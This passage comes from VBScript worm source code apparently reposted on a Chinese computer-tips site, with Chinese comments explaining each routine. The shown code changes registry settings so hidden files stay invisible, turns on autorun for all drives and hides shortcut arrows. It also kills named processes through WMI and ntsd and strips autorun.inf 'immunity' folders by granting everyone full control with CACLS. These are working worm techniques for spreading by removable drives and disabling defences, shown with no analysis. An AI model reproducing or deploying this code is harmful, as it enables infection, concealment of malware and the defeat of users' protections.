Set FileText=FSO.OpenTextFile(pathf, 2, False)
FileText.Write code
FileText.Close
Else
Set FileText=FSO.OpenTextFile(pathf, 2, True)
FileText.Write code
FileText.Close
End If
End Sub
Sub RegSet()'文件夹选项的注册表设置
On Error Resume Next
Dim RegPath1 , RegPath2, RegPath3, RegPath4
RegPath1='HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue''隐藏选项失效
RegPath2='HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue''隐藏选项失效
RegPath3='HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun'
RegPath4='HKEY_CLASSES_ROOT\lnkfile\IsShortcut'
Call WriteReg (RegPath1, 3, 'REG_DWORD')
Call WriteReg (RegPath2, 2, 'REG_DWORD')
Call WriteReg (RegPath3, 0, 'REG_DWORD')'开启所有自动播放
Call DeleteReg (RegPath4)'隐藏快捷方式小箭头
End Sub
Sub KillProcess(ProcessNames)'杀掉进程
On Error Resume Next
Set WMIService=GetObject('winmgmts:\\.\root\cimv2')
For Each ProcessName in ProcessNames
Set ProcessList=WMIService.execquery(' Select * From win32_processwhere name =''&ProcessName&'' ')
For Each Process in ProcessList
IntReturn=1'Process.terminate
If intReturn<>0 Then
WshShell.Run 'CMD /c ntsd -c q -p '&Process.Handle, vbHide,False
End If
Next
Next
End Sub
Sub KillImmunity(D)'删掉autorun.inf免疫目录
On Error Resume Next
ImmunityFolder=D&':\Autorun.inf'
If Fso.FolderExists(ImmunityFolder) Then
WshSHell.Run ('CMD /C CACLS '& ''''&ImmunityFolder&''''&' /t /e /c /g everyone:f'),vbHide,True'提权
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-25802-6.html
怎么感觉美佬象个小孩